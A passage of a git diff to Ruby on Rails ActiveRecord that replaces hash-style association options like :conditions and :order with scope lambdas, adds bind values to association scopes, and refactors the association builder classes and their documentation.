-      #   has_many :comments, :order => "posted_on"
-      #   has_many :comments, :include => :author
-      #   has_many :people, :class_name => "Person", :conditions => "deleted = 0", :order => "name"
-      #   has_many :tracks, :order => "position", :dependent => :destroy
-      #   has_many :comments, :dependent => :nullify
-      #   has_many :tags, :as => :taggable
-      #   has_many :reports, :readonly => true
-      #   has_many :subscribers, :through => :subscriptions, :source => :user
-      #   has_many :subscribers, :class_name => "Person", :finder_sql => Proc.new {
-      #       %Q{
-      #         SELECT DISTINCT people.*
-      #         FROM people p, post_subscriptions ps
-      #         WHERE ps.post_id = #{id} AND ps.person_id = p.id
-      #         ORDER BY p.first_name
-      #       }
-      #   }
-      def has_many(name, options = {}, &extension)
-        Builder::HasMany.build(self, name, options, &extension)
+      #   has_many :comments, -> { order "posted_on" }
+      #   has_many :comments, -> { includes :author }
+      #   has_many :people, -> { where("deleted = 0").order("name") }, class_name: "Person"
+      #   has_many :tracks, -> { order "position" }, dependent: :destroy
+      #   has_many :comments, dependent: :nullify
+      #   has_many :tags, as: :taggable
+      #   has_many :reports, -> { readonly }
+      #   has_many :subscribers, through: :subscriptions, source: :user
+      def has_many(name, scope = nil, options = {}, &extension)
+        Builder::HasMany.build(self, name, scope, options, &extension)
       end
 
       # Specifies a one-to-one association with another class. This method should only be used
@@ -1220,34 +1204,23 @@ module ActiveRecord
       #   Specify the class name of the association. Use it only if that name can't be inferred
       #   from the association name. So <tt>has_one :manager</tt> will by default be linked to the Manager class, but
       #   if the real class name is Person, you'll have to specify it with this option.
-      # [:conditions]
-      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>rank = 5</tt>. Record creation from the association is scoped if a hash
-      #   is used. <tt>has_one :account, :conditions => {:enabled => true}</tt> will create
-      #   an enabled account with <tt>@company.create_account</tt> or <tt>@company.build_account</tt>.
-      # [:order]
-      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
-      #   such as <tt>last_name, first_name DESC</tt>.
       # [:dependent]
-      #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
-      #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method.
-      #   If set to <tt>:nullify</tt>, the associated object's foreign key is set to +NULL+.
-      #   Also, association is assigned. If set to <tt>:restrict</tt> this object raises an
-      #   <tt>ActiveRecord::DeleteRestrictionError</tt> exception and cannot be deleted if it has any associated object.
+      #   Controls what happens to the associated object when
+      #   its owner is destroyed:
+      #
+      #   * <tt>:destroy</tt> causes the associated object to also be destroyed
+      #   * <tt>:delete</tt> causes the asssociated object to be deleted directly from the database (so callbacks will not execute)
+      #   * <tt>:nullify</tt> causes the foreign key to be set to +NULL+. Callbacks are not executed.
+      #   * <tt>:restrict_with_exception</tt> causes an exception to be raised if there is an associated record
+      #   * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there is an associated object
       # [:foreign_key]
       #   Specify the foreign key used for the association. By default this is guessed to be the name
       #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_one+ association
       #   will use "person_id" as the default <tt>:foreign_key</tt>.
       # [:primary_key]
       #   Specify the method that returns the primary key used for the association. By default this is +id+.
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when this object is loaded.
       # [:as]
       #   Specifies a polymorphic interface (See <tt>belongs_to</tt>).
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example,
-      #   you want to do a join but not include the joined columns. Do not forget to include the
-      #   primary and foreign keys, otherwise it will raise an error.
       # [:through]
       #   Specifies a Join Model through which to perform the query. Options for <tt>:class_name</tt>,
       #   <tt>:primary_key</tt>, and <tt>:foreign_key</tt> are ignored, as the association uses the
@@ -1261,14 +1234,14 @@ module ActiveRecord
       # [:source_type]
       #   Specifies type of the source association used by <tt>has_one :through</tt> queries where the source
       #   association is a polymorphic +belongs_to+.
-      # [:readonly]
-      #   If true, the associated object is readonly through the association.
       # [:validate]
       #   If +false+, don't validate the associated object when saving the parent object. +false+ by default.
       # [:autosave]
       #   If true, always save the associated object or destroy it if marked for destruction,
       #   when saving the parent object. If false, never save or destroy the associated object.
       #   By default, only save the associated object if it's a new record.
+      #
+      #   Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
       # [:inverse_of]
       #   Specifies the name of the <tt>belongs_to</tt> association on the associated object
       #   that is the inverse of this <tt>has_one</tt> association. Does not work in combination
@@ -1279,14 +1252,14 @@ module ActiveRecord
       #   has_one :credit_card, :dependent => :destroy  # destroys the associated credit card
       #   has_one :credit_card, :dependent => :nullify  # updates the associated records foreign
       #                                                 # key value to NULL rather than destroying it
-      #   has_one :last_comment, :class_name => "Comment", :order => "posted_on"
-      #   has_one :project_manager, :class_name => "Person", :conditions => "role = 'project_manager'"
-      #   has_one :attachment, :as => :attachable
-      #   has_one :boss, :readonly => :true
-      #   has_one :club, :through => :membership
-      #   has_one :primary_address, :through => :addressables, :conditions => ["addressable.primary = ?", true], :source => :addressable
-      def has_one(name, options = {})
-        Builder::HasOne.build(self, name, options)
+      #   has_one :last_comment, -> { order 'posted_on' }, :class_name => "Comment"
+      #   has_one :project_manager, -> { where role: 'project_manager' }, :class_name => "Person"
+      #   has_one :attachment, as: :attachable
+      #   has_one :boss, readonly: :true
+      #   has_one :club, through: :membership
+      #   has_one :primary_address, -> { where primary: true }, through: :addressables, source: :addressable
+      def has_one(name, scope = nil, options = {})
+        Builder::HasOne.build(self, name, scope, options)
       end
 
       # Specifies a one-to-one association with another class. This method should only be used
@@ -1331,13 +1304,6 @@ module ActiveRecord
       #   Specify the class name of the association. Use it only if that name can't be inferred
       #   from the association name. So <tt>belongs_to :author</tt> will by default be linked to the Author class, but
       #   if the real class name is Person, you'll have to specify it with this option.
-      # [:conditions]
-      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>authorized = 1</tt>.
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed
-      #   if, for example, you want to do a join but not include the joined columns. Do not
-      #   forget to include the primary and foreign keys, otherwise it will raise an error.
       # [:foreign_key]
       #   Specify the foreign key used for the association. By default this is guessed to be the name
       #   of the association with an "_id" suffix. So a class that defines a <tt>belongs_to :person</tt>
@@ -1363,19 +1329,17 @@ module ActiveRecord
       #   and +decrement_counter+. The counter cache is incremented when an object of this
       #   class is created and decremented when it's destroyed. This requires that a column
       #   named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
-      #   is used on the associate class (such as a Post class). You can also specify a custom counter
+      #   is used on the associate class (such as a Post class) - that is the migration for
+      #   <tt>#{table_name}_count</tt> is created on the associate class (such that Post.comments_count will
+      #   return the count cached, see note below). You can also specify a custom counter
       #   cache column by providing a column name instead of a +true+/+false+ value to this
       #   option (e.g., <tt>:counter_cache => :my_custom_counter</tt>.)
       #   Note: Specifying a counter cache will add it to that model's list of readonly attributes
       #   using +attr_readonly+.
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when this object is loaded.
       # [:polymorphic]
       #   Specify this association is a polymorphic association by passing +true+.
       #   Note: If you've enabled the counter cache, then you may want to add the counter cache attribute
       #   to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>).
-      # [:readonly]
-      #   If true, the associated object is readonly through the association.
       # [:validate]
       #   If +false+, don't validate the associated objects when saving the parent object. +false+ by default.
       # [:autosave]
@@ -1383,6 +1347,8 @@ module ActiveRecord
       #   saving the parent object.
       #   If false, never save or destroy the associated object.
       #   By default, only save the associated object if it's a new record.
+      #
+      #   Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
       # [:touch]
       #   If true, the associated object will be touched (the updated_at/on attributes set to now)
       #   when this record is either saved or destroyed. If you specify a symbol, that attribute
@@ -1394,24 +1360,24 @@ module ActiveRecord
       #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
       #
       # Option examples:
-      #   belongs_to :firm, :foreign_key => "client_of"
-      #   belongs_to :person, :primary_key => "name", :foreign_key => "person_name"
-      #   belongs_to :author, :class_name => "Person", :foreign_key => "author_id"
-      #   belongs_to :valid_coupon, :class_name => "Coupon", :foreign_key => "coupon_id",
-      #              :conditions => 'discounts > #{payments_count}'
-      #   belongs_to :attachable, :polymorphic => true
-      #   belongs_to :project, :readonly => true
-      #   belongs_to :post, :counter_cache => true
-      #   belongs_to :company, :touch => true
-      #   belongs_to :company, :touch => :employees_last_updated_at
-      def belongs_to(name, options = {})
-        Builder::BelongsTo.build(self, name, options)
+      #   belongs_to :firm, foreign_key: "client_of"
+      #   belongs_to :person, primary_key: "name", foreign_key: "person_name"
+      #   belongs_to :author, class_name: "Person", foreign_key: "author_id"
+      #   belongs_to :valid_coupon, ->(o) { where "discounts > #{o.payments_count}" },
+      #                             class_name: "Coupon", foreign_key: "coupon_id"
+      #   belongs_to :attachable, polymorphic: true
+      #   belongs_to :project, readonly: true
+      #   belongs_to :post, counter_cache: true
+      #   belongs_to :company, touch: true
+      #   belongs_to :company, touch: :employees_last_updated_at
+      def belongs_to(name, scope = nil, options = {})
+        Builder::BelongsTo.build(self, name, scope, options)
       end
 
       # Specifies a many-to-many relationship with another class. This associates two classes via an
       # intermediate join table. Unless the join table is explicitly specified as an option, it is
       # guessed using the lexical order of the class names. So a join between Developer and Project
-      # will give the default join table name of "developers_projects" because "D" outranks "P".
+      # will give the default join table name of "developers_projects" because "D" precedes "P" alphabetically.
       # Note that this precedence is calculated using the <tt><</tt> operator for String. This
       # means that if the strings are of different lengths, and the strings are equal when compared
       # up to the shortest length, then the longer string is considered of higher
@@ -1493,8 +1459,8 @@ module ActiveRecord
       # * <tt>Developer#projects.size</tt>
       # * <tt>Developer#projects.find(id)</tt>
       # * <tt>Developer#projects.exists?(...)</tt>
-      # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("project_id" => id)</tt>)
-      # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("project_id" => id); c.save; c</tt>)
+      # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("developer_id" => id)</tt>)
+      # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("developer_id" => id); c.save; c</tt>)
       # The declaration may include an options hash to specialize the behavior of the association.
       #
       # === Options
@@ -1517,47 +1483,6 @@ module ActiveRecord
       #   By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed.
       #   So if a Person class makes a +has_and_belongs_to_many+ association to Project,
       #   the association will use "project_id" as the default <tt>:association_foreign_key</tt>.
-      # [:conditions]
-      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>authorized = 1</tt>. Record creations from the association are
-      #   scoped if a hash is used.
-      #   <tt>has_many :posts, :conditions => {:published => true}</tt> will create published posts with <tt>@blog.posts.create</tt>
-      #   or <tt>@blog.posts.build</tt>.
-      # [:order]
-      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
-      #   such as <tt>last_name, first_name DESC</tt>
-      # [:uniq]
-      #   If true, duplicate associated objects will be ignored by accessors and query methods.
-      # [:finder_sql]
-      #   Overwrite the default generated SQL statement used to fetch the association with a manual statement
-      # [:counter_sql]
-      #   Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is
-      #   specified but not <tt>:counter_sql</tt>, <tt>:counter_sql</tt> will be generated by
-      #   replacing <tt>SELECT ... FROM</tt> with <tt>SELECT COUNT(*) FROM</tt>.
-      # [:delete_sql]
-      #   Overwrite the default generated SQL statement used to remove links between the associated
-      #   classes with a manual statement.
-      # [:insert_sql]
-      #   Overwrite the default generated SQL statement used to add links between the associated classes
-      #   with a manual statement.
-      # [:extend]
-      #   Anonymous module for extending the proxy, see "Association extensions".
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when the collection is loaded.
-      # [:group]
-      #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
-      # [:having]
-      #   Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns.
-      #   Uses the <tt>HAVING</tt> SQL-clause.
-      # [:limit]
-      #   An integer determining the limit on the number of rows that should be returned.
-      # [:offset]
-      #   An integer determining the offset from where the rows should be fetched. So at 5,
-      #   it would skip the first 4 rows.
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example,
-      #   you want to do a join but not include the joined columns. Do not forget to include the primary
-      #   and foreign keys, otherwise it will raise an error.
       # [:readonly]
       #   If true, all the associated objects are readonly through the association.
       # [:validate]
@@ -1568,16 +1493,16 @@ module ActiveRecord
       #   If false, never save or destroy the associated objects.
       #   By default, only save associated objects that are new records.
       #
+      #   Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
+      #
       # Option examples:
       #   has_and_belongs_to_many :projects
-      #   has_and_belongs_to_many :projects, :include => [ :milestones, :manager ]
-      #   has_and_belongs_to_many :nations, :class_name => "Country"
-      #   has_and_belongs_to_many :categories, :join_table => "prods_cats"
-      #   has_and_belongs_to_many :categories, :readonly => true
-      #   has_and_belongs_to_many :active_projects, :join_table => 'developers_projects', :delete_sql =>
-      #   "DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}"
-      def has_and_belongs_to_many(name, options = {}, &extension)
-        Builder::HasAndBelongsToMany.build(self, name, options, &extension)
+      #   has_and_belongs_to_many :projects, -> { includes :milestones, :manager }
+      #   has_and_belongs_to_many :nations, class_name: "Country"
+      #   has_and_belongs_to_many :categories, join_table: "prods_cats"
+      #   has_and_belongs_to_many :categories, -> { readonly }
+      def has_and_belongs_to_many(name, scope = nil, options = {}, &extension)
+        Builder::HasAndBelongsToMany.build(self, name, scope, options, &extension)
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
index 0248c7483c..84540a7000 100644
--- a/activerecord/lib/active_record/associations/alias_tracker.rb
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -5,12 +5,13 @@ module ActiveRecord
     # Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and
     # ActiveRecord::Associations::ThroughAssociationScope
     class AliasTracker # :nodoc:
-      attr_reader :aliases, :table_joins
+      attr_reader :aliases, :table_joins, :connection
 
       # table_joins is an array of arel joins which might conflict with the aliases we assign here
-      def initialize(table_joins = [])
+      def initialize(connection = ActiveRecord::Model.connection, table_joins = [])
         @aliases     = Hash.new { |h,k| h[k] = initial_count_for(k) }
         @table_joins = table_joins
+        @connection  = connection
       end
 
       def aliased_table_for(table_name, aliased_name = nil)
@@ -70,10 +71,6 @@ module ActiveRecord
         def truncate(name)
           name.slice(0, connection.table_alias_length - 2)
         end
-
-        def connection
-          ActiveRecord::Base.connection
-        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index d1e3ff8e38..9f47e7e631 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -1,5 +1,4 @@
 require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/object/inclusion'
 
 module ActiveRecord
   module Associations
@@ -25,9 +24,7 @@ module ActiveRecord
       def initialize(owner, reflection)
         reflection.check_validity!
 
-        @target = nil
         @owner, @reflection = owner, reflection
-        @updated = false
 
         reset
         reset_scope
@@ -38,14 +35,14 @@ module ActiveRecord
       #   post.comments.aliased_table_name # => "comments"
       #
       def aliased_table_name
-        reflection.klass.table_name
+        klass.table_name
       end
 
       # Resets the \loaded flag to +false+ and sets the \target to +nil+.
       def reset
         @loaded = false
-        IdentityMap.remove(target) if IdentityMap.enabled? && target
         @target = nil
+        @stale_state = nil
       end
 
       # Reloads the \target and returns +self+ on success.
@@ -83,10 +80,15 @@ module ActiveRecord
         loaded!
       end
 
-      def scoped
+      def scope
         target_scope.merge(association_scope)
       end
 
+      def scoped
+        ActiveSupport::Deprecation.warn("#scoped is deprecated. use #scope instead.")
+        scope
+      end
+
       # The scope for this association.
       #
       # Note that the association_scope is merged into the target_scope only when the
@@ -120,7 +122,7 @@ module ActiveRecord
       # Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
       # through association's scope)
       def target_scope
-        klass.scoped
+        klass.all
       end
 
       # Loads the \target if needed and returns it.
@@ -134,17 +136,8 @@ module ActiveRecord
       # ActiveRecord::RecordNotFound is rescued within the method, and it is
       # not reraised. The proxy is \reset and +nil+ is the return value.
       def load_target
-        if find_target?
-          begin
-            if IdentityMap.enabled? && association_class && association_class.respond_to?(:base_class)
-              @target = IdentityMap.get(association_class, owner[reflection.foreign_key])
-            end
-          rescue NameError
-            nil
-          ensure
-            @target ||= find_target
-          end
-        end
+        @target = find_target if (@stale_state && stale_target?) || find_target?
+
         loaded! unless loaded?
         target
       rescue ActiveRecord::RecordNotFound
@@ -159,6 +152,21 @@ module ActiveRecord
         end
       end
 
+      # We can't dump @reflection since it contains the scope proc
+      def marshal_dump
+        reflection  = @reflection
+        @reflection = nil
+
+        ivars = instance_variables.map { |name| [name, instance_variable_get(name)] }
+        [reflection.name, ivars]
+      end
+
+      def marshal_load(data)
+        reflection_name, ivars = data
+        ivars.each { |name, val| instance_variable_set(name, val) }
+        @reflection = @owner.class.reflect_on_association(reflection_name)
+      end
+
       private
 
         def find_target?
@@ -168,7 +176,7 @@ module ActiveRecord
         def creation_attributes
           attributes = {}
 
-          if reflection.macro.in?([:has_one, :has_many]) && !options[:through]
+          if (reflection.macro == :has_one || reflection.macro == :has_many) && !options[:through]
             attributes[reflection.foreign_key] = owner[reflection.active_record_primary_key]
 
             if reflection.options[:as]
@@ -225,16 +233,10 @@ module ActiveRecord
         def stale_state
         end
 
-        def association_class
-          @reflection.klass
-        end
-
         def build_record(attributes, options)
           reflection.build_association(attributes, options) do |record|
-            record.assign_attributes(
-              create_scope.except(*record.changed),
-              :without_protection => true
-            )
+            attributes = create_scope.except(*(record.changed - [reflection.foreign_key]))
+            record.assign_attributes(attributes, :without_protection => true)
           end
         end
     end
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index 6f8b76abda..1303822868 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -6,32 +6,37 @@ module ActiveRecord
       attr_reader :association, :alias_tracker
 
       delegate :klass, :owner, :reflection, :interpolate, :to => :association
-      delegate :chain, :conditions, :options, :source_options, :active_record, :to => :reflection
+      delegate :chain, :scope_chain, :options, :source_options, :active_record, :to => :reflection
 
       def initialize(association)
         @association   = association
-        @alias_tracker = AliasTracker.new
+        @alias_tracker = AliasTracker.new klass.connection
       end
 
       def scope
         scope = klass.unscoped
-        scope = scope.extending(*Array.wrap(options[:extend]))
-
-        # It's okay to just apply all these like this. The options will only be present if the
-        # association supports that option; this is enforced by the association builder.
-        scope = scope.apply_finder_options(options.slice(
-          :readonly, :include, :order, :limit, :joins, :group, :having, :offset, :select))
+        scope.merge! eval_scope(klass, reflection.scope) if reflection.scope
+        add_constraints(scope)
+      end
 
-        if options[:through] && !options[:include]
-          scope = scope.includes(source_options[:include])
-        end
+      private
 
-        scope = scope.uniq if options[:uniq]
+      def column_for(table_name, column_name)
+        columns = alias_tracker.connection.schema_cache.columns_hash[table_name]
+        columns[column_name]
+      end
 
-        add_constraints(scope)
+      def bind_value(scope, column, value)
+        substitute = alias_tracker.connection.substitute_at(
+          column, scope.bind_values.length)
+        scope.bind_values += [[column, value]]
+        substitute
       end
 
-      private
+      def bind(scope, table_name, column_name, value)
+        column   = column_for table_name, column_name
+        bind_value scope, column, value
+      end
 
       def add_constraints(scope)
         tables = construct_tables
@@ -64,21 +69,14 @@ module ActiveRecord
             foreign_key = reflection.active_record_primary_key
           end
 
-          conditions = self.conditions[i]
-
           if reflection == chain.last
-            scope = scope.where(table[key].eq(owner[foreign_key]))
+            bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key]
+            scope    = scope.where(table[key].eq(bind_val))
 
             if reflection.type
-              scope = scope.where(table[reflection.type].eq(owner.class.base_class.name))
-            end
-
-            conditions.each do |condition|
-              if options[:through] && condition.is_a?(Hash)
-                condition = { table.name => condition }
-              end
-
-              scope = scope.where(interpolate(condition))
+              value    = owner.class.base_class.name
+              bind_val = bind scope, table.table_name, reflection.type.to_s, value
+              scope    = scope.where(table[reflection.type].eq(bind_val))
             end
           else
             constraint = table[key].eq(foreign_table[foreign_key])
@@ -89,10 +87,15 @@ module ActiveRecord
             end
 
             scope = scope.joins(join(foreign_table, constraint))
+          end
 
-            unless conditions.empty?
-              scope = scope.where(sanitize(conditions, table))
-            end
+          # Exclude the scope of the association itself, because that
+          # was already merged in the #scope method.
+          (scope_chain[i] - [self.reflection.scope]).each do |scope_chain_item|
+            item = eval_scope(reflection.klass, scope_chain_item)
+
+            scope.includes! item.includes_values
+            scope.where_values += item.where_values
           end
         end
 
@@ -114,6 +117,13 @@ module ActiveRecord
         end
       end
 
+      def eval_scope(klass, scope)
+        if scope.is_a?(Relation)
+          scope
+        else
+          klass.unscoped.instance_exec(owner, &scope)
+        end
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index 97f531d064..75f72c1a46 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -2,6 +2,11 @@ module ActiveRecord
   # = Active Record Belongs To Associations
   module Associations
     class BelongsToAssociation < SingularAssociation #:nodoc:
+
+      def handle_dependency
+        target.send(options[:dependent]) if load_target
+      end
+
       def replace(record)
         raise_on_type_mismatch(record) if record
 
@@ -14,6 +19,11 @@ module ActiveRecord
         self.target = record
       end
 
+      def reset
+        super
+        @updated = false
+      end
+
       def updated?
         @updated
       end
@@ -72,7 +82,7 @@ module ActiveRecord
         end
 
         def stale_state
-          owner[reflection.foreign_key].to_s
+          owner[reflection.foreign_key] && owner[reflection.foreign_key].to_s
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index 2ee5dbbd70..88ce03a3cd 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -27,7 +27,8 @@ module ActiveRecord
         end
 
         def stale_state
-          [super, owner[reflection.foreign_type].to_s]
+          foreign_key = super
+          foreign_key && [foreign_key.to_s, owner[reflection.foreign_type].to_s]
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index 96fca97440..1df876bf62 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -1,53 +1,106 @@
 module ActiveRecord::Associations::Builder
   class Association #:nodoc:
-    class_attribute :valid_options
-    self.valid_options = [:class_name, :foreign_key, :select, :conditions, :include, :extend, :readonly, :validate]
+    class << self
+      attr_accessor :valid_options
+    end
+
+    self.valid_options = [:class_name, :foreign_key, :validate]
 
-    # Set by subclasses
-    class_attribute :macro
+    attr_reader :model, :name, :scope, :options, :reflection
+
+    def self.build(*args, &block)
+      new(*args, &block).build
+    end
 
-    attr_reader :model, :name, :options, :reflection
+    def initialize(model, name, scope, options)
+      @model   = model
+      @name    = name
 
-    def self.build(model, name, options)
-      new(model, name, options).build
+      if scope.is_a?(Hash)
+        @scope   = nil
+        @options = scope
+      else
+        @scope   = scope
+        @options = options
+      end
+
+      if @scope && @scope.arity == 0
+        prev_scope = @scope
+        @scope = proc { instance_exec(&prev_scope) }
+      end
     end
 
-    def initialize(model, name, options)
-      @model, @name, @options = model, name, options
+    def mixin
+      @model.generated_feature_methods
     end
 
+    include Module.new { def build; end }
+
     def build
       validate_options
-      reflection = model.create_reflection(self.class.macro, name, options, model)
       define_accessors
-      reflection
+      configure_dependency if options[:dependent]
+      @reflection = model.create_reflection(macro, name, scope, options, model)
+      super # provides an extension point
+      @reflection
     end
 
-    private
+    def macro
+      raise NotImplementedError
+    end
 
-      def validate_options
-        options.assert_valid_keys(self.class.valid_options)
-      end
+    def valid_options
+      Association.valid_options
+    end
 
-      def define_accessors
-        define_readers
-        define_writers
-      end
+    def validate_options
+      options.assert_valid_keys(valid_options)
+    end
 
-      def define_readers
-        name = self.name
+    def define_accessors
+      define_readers
+      define_writers
+    end
+
+    def define_readers
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}(*args)
+          association(:#{name}).reader(*args)
+        end
+      CODE
+    end
 
-        model.redefine_method(name) do |*params|
-          association(name).reader(*params)
+    def define_writers
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}=(value)
+          association(:#{name}).writer(value)
         end
+      CODE
+    end
+
+    def configure_dependency
+      unless valid_dependent_options.include? options[:dependent]
+        raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{options[:dependent]}"
       end
 
-      def define_writers
-        name = self.name
+      if options[:dependent] == :restrict
+        ActiveSupport::Deprecation.warn(
+          "The :restrict option is deprecated. Please use :restrict_with_exception instead, which " \
+          "provides the same functionality."
+        )
+      end
 
-        model.redefine_method("#{name}=") do |value|
-          association(name).writer(value)
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{macro}_dependent_for_#{name}
+          association(:#{name}).handle_dependency
         end
-      end
+      CODE
+
+      model.before_destroy "#{macro}_dependent_for_#{name}"
+    end
+
+    def valid_dependent_options
+      raise NotImplementedError
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index f6d26840c2..2f2600b7fb 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -1,10 +1,12 @@
-require 'active_support/core_ext/object/inclusion'
-
 module ActiveRecord::Associations::Builder
   class BelongsTo < SingularAssociation #:nodoc:
-    self.macro = :belongs_to
+    def macro
+      :belongs_to
+    end
 
-    self.valid_options += [:foreign_type, :polymorphic, :touch]
+    def valid_options
+      super + [:foreign_type, :polymorphic, :touch]
+    end
 
     def constructable?
       !options[:polymorphic]
@@ -14,72 +16,51 @@ module ActiveRecord::Associations::Builder
       reflection = super
       add_counter_cache_callbacks(reflection) if options[:counter_cache]
       add_touch_callbacks(reflection)         if options[:touch]
-      configure_dependency
       reflection
     end
 
-    private
+    def add_counter_cache_callbacks(reflection)
+      cache_column = reflection.counter_cache_column
 
-      def add_counter_cache_callbacks(reflection)
-        cache_column = reflection.counter_cache_column
-        name         = self.name
-
-        method_name = "belongs_to_counter_cache_after_create_for_#{name}"
-        model.redefine_method(method_name) do
-          record = send(name)
-          record.class.increment_counter(cache_column, record.id) unless record.nil?
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def belongs_to_counter_cache_after_create_for_#{name}
+          record = #{name}
+          record.class.increment_counter(:#{cache_column}, record.id) unless record.nil?
         end
-        model.after_create(method_name)
 
-        method_name = "belongs_to_counter_cache_before_destroy_for_#{name}"
-        model.redefine_method(method_name) do
-          record = send(name)
-          record.class.decrement_counter(cache_column, record.id) unless record.nil?
+        def belongs_to_counter_cache_before_destroy_for_#{name}
+          unless marked_for_destruction?
+            record = #{name}
+            record.class.decrement_counter(:#{cache_column}, record.id) unless record.nil?
+          end
         end
-        model.before_destroy(method_name)
+      CODE
 
-        model.send(:module_eval,
-          "#{reflection.class_name}.send(:attr_readonly,\"#{cache_column}\".intern) if defined?(#{reflection.class_name}) && #{reflection.class_name}.respond_to?(:attr_readonly)", __FILE__, __LINE__
-        )
-      end
+      model.after_create   "belongs_to_counter_cache_after_create_for_#{name}"
+      model.before_destroy "belongs_to_counter_cache_before_destroy_for_#{name}"
 
-      def add_touch_callbacks(reflection)
-        name        = self.name
-        method_name = "belongs_to_touch_after_save_or_destroy_for_#{name}"
-        touch       = options[:touch]
+      klass = reflection.class_name.safe_constantize
+      klass.attr_readonly cache_column if klass && klass.respond_to?(:attr_readonly)
+    end
 
-        model.redefine_method(method_name) do
-          record = send(name)
+    def add_touch_callbacks(reflection)
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def belongs_to_touch_after_save_or_destroy_for_#{name}
+          record = #{name}
 
           unless record.nil?
-            if touch == true
-              record.touch
-            else
-              record.touch(touch)
-            end
+            record.touch #{options[:touch].inspect if options[:touch] != true}
           end
         end
+      CODE
 
-        model.after_save(method_name)
-        model.after_touch(method_name)
-        model.after_destroy(method_name)
-      end
-
-      def configure_dependency
-        if options[:dependent]
-          unless options[:dependent].in?([:destroy, :delete])
-            raise ArgumentError, "The :dependent option expects either :destroy or :delete (#{options[:dependent].inspect})"
-          end
+      model.after_save    "belongs_to_touch_after_save_or_destroy_for_#{name}"
+      model.after_touch   "belongs_to_touch_after_save_or_destroy_for_#{name}"
+      model.after_destroy "belongs_to_touch_after_save_or_destroy_for_#{name}"
+    end
 
-          method_name = "belongs_to_dependent_#{options[:dependent]}_for_#{name}"
-          model.send(:class_eval, <<-eoruby, __FILE__, __LINE__ + 1)
-            def #{method_name}
-              association = #{name}
-              association.#{options[:dependent]} if association
-            end
-          eoruby
-          model.after_destroy method_name
-        end
-      end
+    def valid_dependent_options
+      [:destroy, :delete]
+    end
   end
 end
